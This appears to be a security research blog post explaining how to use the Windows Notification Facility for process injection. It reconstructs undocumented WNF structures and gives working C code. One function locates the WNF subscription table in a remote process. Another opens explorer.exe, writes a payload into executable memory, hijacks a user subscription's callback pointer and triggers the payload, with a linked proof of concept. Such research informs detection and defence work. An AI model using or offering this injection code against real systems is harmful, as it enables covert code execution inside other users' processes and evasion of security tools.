Introduction

At Blackhat 2018, Alex Ionescu and Gabrielle Viala presented Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet. It’s an exceptional well-researched presentation that I recommend you watch first before reading this post. In it, they describe WNF in great detail; the functions, data structures, how to interact with it. If you don’t wish to watch the whole video, well, you’re missing out on a cool presentation, but you can always read the slides from their talk here. Gabrielle followed up with another well-detailed post called Playing with the Windows Notification Facility (WNF) that is also required reading if you want to understand the internals of WNF. You can find some of their tools here which allow dumping information about state names and subscribing for events. As suggested in the presentation, WNF can be used for code redirection/process injection which is what I’ll describe here. wezmaster has demonstrated how to use WNF for persisting .NET payloads here.

Context Header

The table, user and name subscriptions all have a context header.

typedef struct _WNF_CONTEXT_HEADER { CSHORT NodeTypeCode ; CSHORT NodeByteSize ; } WNF_CONTEXT_HEADER , * PWNF_CONTEXT_HEADER ;

The NodeTypeCode field indicates the type of structure that will appear after the header. The following are some examples.

# define WNF_NODE_SUBSCRIPTION_TABLE 0x911 # define WNF_NODE_NAME_SUBSCRIPTION 0x912 # define WNF_NODE_SERIALIZATION_GROUP 0x913 # define WNF_NODE_USER_SUBSCRIPTION 0x914

For a target process, we scan all writeable areas of memory and attempt to read sizeof(WNF_SUBSCRIPTION_TABLE) . For each successful read, the Header.NodeTypeCode is compared with WNF_NODE_SUBSCRIPTION_TABLE while the NodeByteSize is compared with sizeof(WNF_SUBSCRIPTION_TABLE) . The type code and byte size are unique to WNF and can be used to locate WNF structures in memory provided no such similar structures exist.

UPDATE: Adam suggested finding the address of WNF table via a function referencing it. You could also search pointers in the .data section or PEB.ProcessHeap . Each of these methods would likely be faster than searching all writeable areas of memory that includes stack memory. The following code is also included in the PoC.

LPVOID GetUserSubFromProcess ( HANDLE hp , DWORD pid , PWNF_USER_SUBSCRIPTION us , ULONG64 sn ) { LPVOID m , rm , va = NULL , sa = NULL ; PIMAGE_DOS_HEADER dos ; PIMAGE_NT_HEADERS nt ; PIMAGE_SECTION_HEADER sh ; DWORD i , cnt ; PULONG_PTR ds ; ULONG_PTR ptr ; MEMORY_BASIC_INFORMATION mbi ; PWNF_SUBSCRIPTION_TABLE tbl ; SIZE_T rd ; WNF_SUBSCRIPTION_TABLE st ; // Storage Protection Windows Runtime automatically subscribes to WNF. // Loading efswrt.dll will create the table if not already initialized. // Search the data segment of NTDLL and obtain the Relative Virtual Address of WNF table // Read the base address of NTDLL from remote process and add to RVA // Read pointer to heap in remote process. // Finally, read a user subscription LoadLibrary ( L" efswrt.dll " ) ; // get base of ntdll.dll in remote process rm = GetRemoteModuleHandle ( pid , L" ntdll.dll " ) ; // load local copy m = LoadLibrary ( L" ntdll.dll " ) ; dos = ( PIMAGE_DOS_HEADER ) m ; nt = RVA2VA ( PIMAGE_NT_HEADERS , m , dos - > e_lfanew ) ; sh = ( PIMAGE_SECTION_HEADER ) ( ( LPBYTE ) & nt - > OptionalHeader + nt - > FileHeader . SizeOfOptionalHeader ) ; // locate the .data segment, save VA and number of pointers for ( i = 0 ; i < nt - > FileHeader . NumberOfSections ; i + + ) { if ( * ( PDWORD ) sh [ i ] . Name = = * ( PDWORD ) " .data " ) { ds = RVA2VA ( PULONG_PTR , m , sh [ i ] . VirtualAddress ) ; cnt = sh [ i ] . Misc . VirtualSize / sizeof ( ULONG_PTR ) ; break ; } } // for each pointer for ( i = 0 ; i < cnt ; i + + ) { if ( ! IsHeapPtr ( ( LPVOID ) ds [ i ] ) ) continue ; tbl = ( PWNF_SUBSCRIPTION_TABLE ) ds [ i ] ; // if it looks like subscription table resides here if ( tbl - > Header . NodeTypeCode = = WNF_NODE_SUBSCRIPTION_TABLE & & tbl - > Header . NodeByteSize = = sizeof ( WNF_SUBSCRIPTION_TABLE ) ) { // save the virtual address va = ( ( PBYTE ) & ds [ i ] - ( PBYTE ) m ) + ( PBYTE ) rm ; break ; } } if ( va ! = NULL ) { ReadProcessMemory ( hp , va , & ptr , sizeof ( ULONG_PTR ) , & rd ) ; // read a user subscription from remote sa = GetUserSubFromTable ( hp , ( LPVOID ) ptr , us , sn ) ; } return sa ; }

Subscription Table

Created by NTDLL!RtlpInitializeWnf and assigned type 0x911. Both NTDLL!RtlRegisterForWnfMetaNotification and NTDLL!RtlSubscribeWnfStateChangeNotification will create the table if one doesn’t already exist. You could hijack the callback function in TP_TIMER to redirect code, but since this post is about WNF, we need to look at the other structures.

typedef struct _WNF_SUBSCRIPTION_TABLE { WNF_CONTEXT_HEADER Header ; SRWLOCK NamesTableLock ; LIST_ENTRY NamesTableEntry ; LIST_ENTRY SerializationGroupListHead ; SRWLOCK SerializationGroupLock ; DWORD Unknown1 [ 2 ] ; DWORD SubscribedEventSet ; DWORD Unknown2 [ 2 ] ; PTP_TIMER Timer ; ULONG64 TimerDueTime ; } WNF_SUBSCRIPTION_TABLE , * PWNF_SUBSCRIPTION_TABLE ;

The main field we’re interested in is the NamesTableEntry that will point to a list of WNF_NAME_SUBSCRIPTION structures.

Serialization Group

Created by NTDLL!RtlpCreateSerializationGroup and assigned type 0x913. Although not important for process injection, It’s here for reference since it wasn’t described in the presentation.

typedef struct _WNF_SERIALIZATION_GROUP { WNF_CONTEXT_HEADER Header ; ULONG GroupId ; LIST_ENTRY SerializationGroupList ; ULONG64 SerializationGroupValue ; ULONG64 SerializationGroupMemberCount ; } WNF_SERIALIZATION_GROUP , * PWNF_SERIALIZATION_GROUP ;

Name Subscription

Created by NTDLL!RtlpCreateWnfNameSubscription and assigned type 0x912. When subscribing for notifications, an attempt will be made to locate an existing name subscription and simply insert a user subscription into the SubscriptionsList using NTDLL!RtlpAddWnfUserSubToNameSub .

typedef struct _WNF_NAME_SUBSCRIPTION { WNF_CONTEXT_HEADER Header ; ULONG64 SubscriptionId ; WNF_STATE_NAME_INTERNAL StateName ; WNF_CHANGE_STAMP CurrentChangeStamp ; LIST_ENTRY NamesTableEntry ; PWNF_TYPE_ID TypeId ; SRWLOCK SubscriptionLock ; LIST_ENTRY SubscriptionsListHead ; ULONG NormalDeliverySubscriptions ; ULONG NotificationTypeCount [ 5 ] ; PWNF_DELIVERY_DESCRIPTOR RetryDescriptor ; ULONG DeliveryState ; ULONG64 ReliableRetryTime ; } WNF_NAME_SUBSCRIPTION , * PWNF_NAME_SUBSCRIPTION ;

The main fields we’re interested in are NamesTableEntry and SubscriptionsListHead for each user subscription that is described next.

User Subscription

Created by NTDLL!RtlpCreateWnfUserSubscription and assigned type 0x914. This is the main structure one would want to modify for process injection or code redirection.

typedef struct _WNF_USER_SUBSCRIPTION { WNF_CONTEXT_HEADER Header ; LIST_ENTRY SubscriptionsListEntry ; PWNF_NAME_SUBSCRIPTION NameSubscription ; PWNF_USER_CALLBACK Callback ; PVOID CallbackContext ; ULONG64 SubProcessTag ; ULONG CurrentChangeStamp ; ULONG DeliveryOptions ; ULONG SubscribedEventSet ; PWNF_SERIALIZATION_GROUP SerializationGroup ; ULONG UserSubscriptionCount ; ULONG64 Unknown [ 10 ] ; } WNF_USER_SUBSCRIPTION , * PWNF_USER_SUBSCRIPTION ;

We’re interested in the Callback and CallbackContext fields. If the context pointed to a virtual function table and one of the methods was executed upon receiving a notification from the kernel, then it probably wouldn’t require modifying Callback at all. To make things easier, the PoC only modifies the Callback value.

Callback Prototype

Six parameters are passed to a callback procedure. Both Buffer and CallbackContext could be utilized to pass in arbitrary code or commands, but since the PoC only executes notepad.exe, the parameters are ignored. That being said, it’s still important to use the same prototype for a payload so that the parameters are safely removed from the stack before returning to the caller.

typedef NTSTATUS ( * PWNF_USER_CALLBACK ) ( _In_ WNF_STATE_NAME StateName , _In_ WNF_CHANGE_STAMP ChangeStamp , _In_opt_ PWNF_TYPE_ID TypeId , _In_opt_ PVOID CallbackContext , _In_ PVOID Buffer , _In_ ULONG BufferSize ) ;

Listing Subscriptions

To help locate the WNF subscription table in a remote process, I wrote a simple tool called wnfscan that searches all writeable areas of memory for the context header. Once found, it parses and displays a list of name and user subscriptions.

Process Injection

Because we have to locate the WNF subscription table by scanning memory, this method of injection is more complicated than others. We don’t search for WNF_USER_SUBSCRIPTION structures because they appear higher up in memory and take too long to find. Scanning for the table first is much faster since it’s usually created when the process starts thus appearing lower in memory. Once the table is found, the name subscriptions are read and a user subscription is returned.

VOID wnf_inject ( LPVOID payload , DWORD payloadSize ) { WNF_USER_SUBSCRIPTION us ; LPVOID sa , cs ; HWND hw ; HANDLE hp ; DWORD pid ; SIZE_T wr ; ULONG64 ns = WNF_SHEL_APPLICATION_STARTED ; NtUpdateWnfStateData_t _NtUpdateWnfStateData ; HMODULE m ; // 1. Open explorer.exe hw = FindWindow ( L" Shell_TrayWnd " , NULL ) ; GetWindowThreadProcessId ( hw , & pid ) ; hp = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ) ; // 2. Locate user subscription sa = GetUserSubFromProcess ( hp , & us , WNF_SHEL_APPLICATION_STARTED ) ; // 3. Allocate RWX memory and write payload cs = VirtualAllocEx ( hp , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ; WriteProcessMemory ( hp , cs , payload , payloadSize , & wr ) ; // 4. Update callback and trigger execution of payload WriteProcessMemory ( hp , ( PBYTE ) sa + offsetof ( WNF_USER_SUBSCRIPTION , Callback ) , & cs , sizeof ( ULONG_PTR ) , & wr ) ; m = GetModuleHandle ( L" ntdll " ) ; _NtUpdateWnfStateData = ( NtUpdateWnfStateData_t ) GetProcAddress ( m , " NtUpdateWnfStateData " ) ; _NtUpdateWnfStateData ( & ns , NULL , 0 , 0 , NULL , 0 , 0 ) ; // 5. Restore original callback, free memory and close process WriteProcessMemory ( hp , ( PBYTE ) sa + offsetof ( WNF_USER_SUBSCRIPTION , Callback ) , & us . Callback , sizeof ( ULONG_PTR ) , & wr ) ; VirtualFreeEx ( hp , cs , 0 , MEM_DECOMMIT | MEM_RELEASE ) ; CloseHandle ( hp ) ; }

Summary

Since it’s possible to transfer data into the address space of a remote process via WNF publishing, it may be possible to avoid using VirtualAllocEx and WriteProcessMemory . Some .NET processes allocate executable memory with write permissions that could be misused by an external process for code injection. A PoC that executes notepad can be found here.